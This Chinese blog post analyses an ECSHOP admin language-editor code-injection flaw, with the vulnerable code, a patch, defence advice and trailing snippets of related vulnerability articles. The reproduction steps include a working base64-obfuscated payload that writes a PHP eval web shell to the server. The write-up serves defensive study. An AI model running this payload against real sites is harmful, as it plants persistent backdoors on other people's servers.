ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php

目录

1. 漏洞描述
2. 漏洞触发条件
3. 漏洞影响范围
4. 漏洞代码分析
5. 防御方法
6. 攻防思考

1. 漏洞描述

对于很多CMS网站来说,它们都需要保存很多的网站META信息,最常用的最佳实践是以变量声明的形式保存在.php文件中,在需要的时候直接include进来,PHP File Loader会自动将引入文件中的变量注册到当前的代码空间中,供其他的代码直接引用。例如

1. phpmyadmin使用config/config.inc.php保存phpmyadmin的配置信息:phpmyadmin setup.php代码注入漏洞
2. ecshop使用/languages/zh_cn/user.php保存网站的语言配置项:ecshop user.php php curl 代码动态执行漏洞

这种将动态的变量保存在静态的文件中,然后利用PHP File Loader的动态引用机制实现本地变量注册的做法在为CMS框架开发带来方便的同时,也引入了安全风险,黑客可以通过"模版编辑"、"后台网站基础描述信息编辑"、"语言项编辑"等等编辑方式,对这类文件进行修改,从而将PHP代码注入到这些.php文件中,获得代码执行的机会

2. 漏洞触发条件

1. 访问网站后台
http://localhost/ecshop2.7.2/admin/

2. 左边导航栏
模板管理 -> 语言项管理 -> 选择: user.php(会员中心语言包) -> 搜索: is_paid

3. 对模板文件进行编辑
插入${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}

4. 访问被注入PHP代码的文件
http://localhost/ecshop2.7.2/languages/zh_cn/user.php

5. 生成WEBSHELL
http://localhost/ecshop2.7.2/languages/zh_cn/fuck.php

访问Exploit URL

被注入文件中的Curl Syntax代码获得执行,WEBSHELL文件被写入了磁盘

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2010-024714

3. 漏洞影响范围

ecshop 2.7.2
最新版ecshop 2.7.3
更早版本是否存在未知
...

4. 漏洞代码分析

我们知道,这个漏洞属于一个代码注入漏洞 && 恶意代码持久化导致正常文件被污染的WEBSHELL永久后门的。所以我们分析这个漏洞要从漏洞源头和被污染的.PHP文件两方面入手

我们先来分析一下代码注入的源头:\admin\edit_languages.php

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST[‘act‘] == ‘edit‘)
{
    /* 语言项的路径 */
    $lang_file = isset($_POST[‘file_path‘]) ? trim($_POST[‘file_path‘]) : ‘‘;

    /* 替换前的语言项 */
    $src_items = !empty($_POST[‘item‘]) ? stripslashes_deep($_POST[‘item‘]) : ‘‘;

    /* 修改过后的语言项 */
    $dst_items = array();
    $_POST[‘item_id‘] = stripslashes_deep($_POST[‘item_id‘]);

    for ($i = 0; $i < count($_POST[‘item_id‘]); $i++)
    {
        /* 语言项内容如果为空,不修改 */
        if (trim($_POST[‘item_content‘][$i]) == ‘‘)
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]);
            /*
            这行代码是导致漏洞的关键
            将用户输入的内容用双引号("")包裹,并写入磁盘上的文件中
            这为黑客提供向磁盘文件注入"Curl Syntax Code",并进行代码执行提供了机会
            */
            $dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘"‘ .$_POST[‘item_content‘][$i]. ‘";‘;
        }
    }
    ....

这里存在的安全问题问题有以下几个

1. edit_languages.php属于系统的输入边界,是接收用户输入数据的地方

2. edit_languages.php没有对用户输入的数据进行有效过滤、转义,导致黑客将PHP代码注入到user.php文件中

3. 没有遵循"数据"、"代码"分离的原则,user.php本质上是用来保存数据信息的,但是却被以黑客可以随便访问的.php文件的形式保存在磁盘上。要做好数据、代码的逻辑分离,可以采用以下2种最佳安全实践
    1) 在保存数据的文件头部使用 ifundine then exit的防御代码
    2) 使用.txt文件扩展名保存这类保存数据的文件

edit_languages.php接收了用户的输入后,将修改后的信息保存在user.php中,我们继续来分析一下这个文件

/languages/zh_cn/user.php

$_LANG[‘is_paid‘] = "${${fputs(fopen(base64_decode(ZnVjay5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbZnVja10pPz4))}}";

这里的关键在于PHP Curl Syntax语法,在双引号("")中的的代码("${${....")会被PHP解释器进行动态执行

关于PHP的这种动态代码执行的语法的相关知识,请参阅另外的文章

http://www.cnblogs.com/LittleHann/p/3522990.html
//搜索:0x10: Curly Syntax

5. 防御方法

这种复合型的注入后污染磁盘文件,进而留下永久型文件后门的漏洞,修复方案也必须采用符合的方案

0x1: 修复\admin\edit_languages.php

将保存到user.php中的字符串改为使用单引号(‘‘)包裹,在单引号模式下,PHP Curl Syntax("${${...")是无法执行的,这可以有效从源头上阻止新的WEBSHELL漏洞文件的产生

.....
/*------------------------------------------------------ */
//-- 编辑语言项
/*------------------------------------------------------ */
elseif ($_REQUEST[‘act‘] == ‘edit‘)
{
    /* 语言项的路径 */
    $lang_file = isset($_POST[‘file_path‘]) ? trim($_POST[‘file_path‘]) : ‘‘;

    /* 替换前的语言项 */
    $src_items = !empty($_POST[‘item‘]) ? stripslashes_deep($_POST[‘item‘]) : ‘‘;

    /* 修改过后的语言项 */
    $dst_items = array();
    $_POST[‘item_id‘] = stripslashes_deep($_POST[‘item_id‘]);

    for ($i = 0; $i < count($_POST[‘item_id‘]); $i++)
    {
        /* 语言项内容如果为空,不修改 */
        if (trim($_POST[‘item_content‘][$i]) == ‘‘)
        {
            unset($src_items[$i]);
        }
        else
        {
            $_POST[‘item_content‘][$i] = str_replace(‘\\\\n‘, ‘\\n‘, $_POST[‘item_content‘][$i]);
        /*
        这行是patch代码的关键,将原本的双引号("")改为了单引号(‘‘),有效地组织了代码注入后的执行
        */
            $dst_items[$i] = $_POST[‘item_id‘][$i] .‘ = ‘. ‘\‘‘ .$_POST[‘item_content‘][$i]. ‘\‘;‘;
        }
    }
    .....

0x2: 修复/languages/zh_cn/user.php

被黑客进行代码注入攻击之后,这个usre.php已经成为了一个新的后门,需要对其中的恶意代码进行清理,即脏数据清洗

将双引号换成单引号即可

6. 攻防思考

从攻防的角度上来看,ecshop的这个漏洞属于"代码注入(code injection)",但是和普通的sql injection的差别在于

1. 文件/模版编辑类 注入漏洞的的注入的目标对象是磁盘上的静态php文件,而不是数据库
2. 文件/模版编辑类 在进行代码注入后,往往不是立即生效,而是要通过之后的访问或者被其他文件引入,才能执行被注入文件中的curl syntax代码

对于这种漏洞的防御,除了采用和和sql injection类似的输入过滤、执行过滤的代码防御思想外,还需要解决一个"脏数据清理"的问题

文件型代码注入的结果是黑客将攻击代码永久固化在了文件中(存储在数据表字段中的代码注入也是类似的道理),被污染的文件就被转换为了一个WEBSHELL后门,即成为一个新的漏洞点,要彻底解决这个问题,需要同时做到

1. 输入过滤,将WEBSHELL PHP CODE注入的源头堵住
2. 对已经被注入的,对保存脏数据的WEBSHELL后门文件进行清理

Copyright (c) 2014 LittleHann All rights reserved

时间: 2024-10-18 22:31:57

ECSHOP \admin\edit_languages.php GETSHELL Based On Injection PHP Code Into /languages/zh_cn/user.php的相关文章

ECSHOP /mobile/admin/edit_languages.php

漏洞名称:ecshop代码注入漏洞 补丁编号:10017531 补丁文件:/mobile/admin/edit_languages.php 补丁来源:云盾自研 更新时间:2017-01-05 08:41:29 漏洞描述:ecshop后台模版编译导致黑客可插入任意恶意代码. else { $_POST['item_content'][$i] = str_replace('\\\\n', '\\n', $_POST['item_content'][$i]); /* 这行是patch代码的关键,将原本

ecshop /includes/modules/payment/alipay.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 ECSHOP支付插件存在SQL注入漏洞,此漏洞存在于/includes/modules/payment/alipay.php文件中,该文件是ECshop的支付宝插件.由于ECShop使用了str_replace函数做字符串替换,黑客可绕过单引号限制构造SQL注入语句.只要开启支付宝支付插件就能利用该漏洞获取网站数据,且不需要注册登入.GBK与UTF-8版本E

Metinfo /admin/include/common.inc.php SQL Injection Vul

catalog 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 Metinfo系统是基于PHP+MYSQL的信息发布系统,该系统存在逻辑缺陷导致条件注入,可修改任意管理员信息 Relevant Link: 2. 漏洞触发条件 从save_met_cookie()中可以看出,此处可执行任意sql语句.正好此处为update的met_admin_table表,所以可直接修改任意用户密码等任意操作了.比如修改密码,只需要利用m

ecshop模板如何修改详细图解

ECSHOP模板修改需要会DIV CSS知识.还有就是DWT,LBI文件的意义,熟记以下一些模板程序有助于修改模板,更多好看的模板也可以看看“ecshop模板堂” 模板文件说明style.css   -  模板所使用样式表activity.dwt  -  活动列表article.dwt   -  文章内容页article_cat.dwt   -  文章列表页article_pro.dwt  -  前一篇文章auction.dwt  -  拍卖商品首页auction_list.dwt  -  拍卖

后台菜单和权限管理

主要php文件: 1,admin/includes/inc_menu.php ECSHOP管理中心菜单数组--配置菜单组及URL 2,languages/zh_cn/admin/common.php ECSHOP管理中心共用语言文件--配置菜单显示名 3,admin/includes/inc_priv.php ECSHOP权限对照表--将菜单action与权限绑定   4,languages/zh_cn/admin/priv_action.php ECSHOP权限名称语言文件---配置权限显示的

grep -l用法

使用shell过滤文本: 为什么下面这个不行呢?因为使用了管道! [[email protected] shop]# find . -name "*.php" -mtime -90 | xargs ls -alt //这个命令的结果是下面这个样子的,一长串.... //然而,grep -l 命令的参数不可以是一长串的参数,所以用grep -l去过滤上面这个find命令的结果将会有错误 -rw-r--r-- 1 root   root    2466 Dec 25  2014 ./lan

ECSHOP myship.php &amp;&amp; cls_template.php Vul Tag_PHP_Code Execute Getshell

目录 1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考 1. 漏洞描述 PHP语言作为开源社区的一员,提供了各种模板引擎,如FastTemplate,Smarty,SimpleTemplate等,而Smarty是现在使用得比较多的PHP模板引擎ecshop的这个getshell代码执行getshell漏洞,是一种典型的模版tag语言动态解析导致的漏洞,像smarty这类的动态模版语言允许在静态页面中插入smarty定义的"标签语言(tag

关于ECSHOP中sql注入漏洞修复

公司部署了一个ecshop网站用于做网上商城使用,部署在阿里云服务器上,第二天收到阿里云控制台发来的告警信息,发现ecshop网站目录下文件sql注入漏洞以及程序漏洞 如下图: 与技术沟通未果的情况下,网上查了点资料,对其文件进行修复,如下修改: 1,/admin/shopinfo.php修复方法 (大概在第53.71.105.123行,4个地方修复方式都一样)     admin_priv('shopinfo_manage');      修改为     admin_priv('shopinf

ecshop SQL注入漏洞修复 支付漏洞修复

ecshop最新SQL注入漏洞,出现在后台管理,涉及到的文件有 includes/modules/payment/alipay.php,api/client/includes/lib_api.php,admin/edit_languages.php 注入漏洞 影响到所有包括ecshop,大小京东,大小商创程序以ecshop为内核的程序 到目前为止,ecshop官网还未做修复. 1.alipay.php 修复方法(约180行) 查找 1 $order_sn = trim($order_sn); 修